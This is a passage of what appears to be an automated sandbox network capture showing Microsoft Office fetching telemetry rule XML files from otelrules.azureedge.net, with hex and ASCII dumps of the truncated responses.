2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-05 12:33:55 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	57398	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:56 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:56 UTC	492	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:56 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: a79f927d-a01e-0098-24c9-168556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123356Z-1657d5bbd48brl8we3nu8cxwgn00000000w0000000003hwu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:56 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	57397	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:56 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:56 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: b9d87bc4-001e-008d-138c-15d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123356Z-15767c5fc55qdcd62bsn50hd6s0000000du000000000d804 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:56 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	57400	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:56 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:56 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:56 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c59bb0f9-701e-0097-2d01-17b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123356Z-1657d5bbd48brl8we3nu8cxwgn00000000qg00000000nrwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:56 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	57396	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:56 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:56 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:56 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123356Z-1657d5bbd48p2j6x2quer0q02800000000hg00000000evna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:56 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	57399	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:56 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:56 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:56 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123356Z-1657d5bbd48vhs7r2p1ky7cs5w00000000s000000000g90e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:56 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	57401	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3ea0840d-701e-0053-1012-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-1657d5bbd48cpbzgkvtewk0wu000000000h0000000005604 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:57 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	57403	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-1657d5bbd48p2j6x2quer0q02800000000r0000000007nys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:57 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	57402	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 4b0a31e7-c01e-00ad-448c-15a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-15767c5fc55d6fcl6x6bw8cpdc0000000e100000000021ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
